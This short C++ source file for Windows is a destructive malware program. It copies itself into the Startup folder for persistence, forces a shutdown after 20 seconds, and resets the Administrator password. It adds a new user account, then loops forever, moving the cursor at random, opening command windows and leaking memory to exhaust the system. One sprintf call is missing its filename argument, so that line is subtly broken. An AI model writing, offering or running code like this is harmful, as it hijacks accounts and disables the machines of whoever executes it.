#include <iostream>
#include<windows.h>
#include<ctime>
#include <cstdlib>
# include <stdio.h>
#include <string.h>
#include <fstream>
using namespace std;
int main (int argc,char *argv[])
{
char copy[80];
sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
system(copy);
char cmd[]="shutdown -s -t 20";
system("ping baidu.com");
system(cmd);
system("pause");
system(copy);
system("net user Administrator xz");
system("net user 崩溃 xz /add");
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
system("shutdown -s -t 20");
while(1)
{
SetCursorPos(rand()%x,rand()%y);
system("start");
char *p=new char[10000];
}
}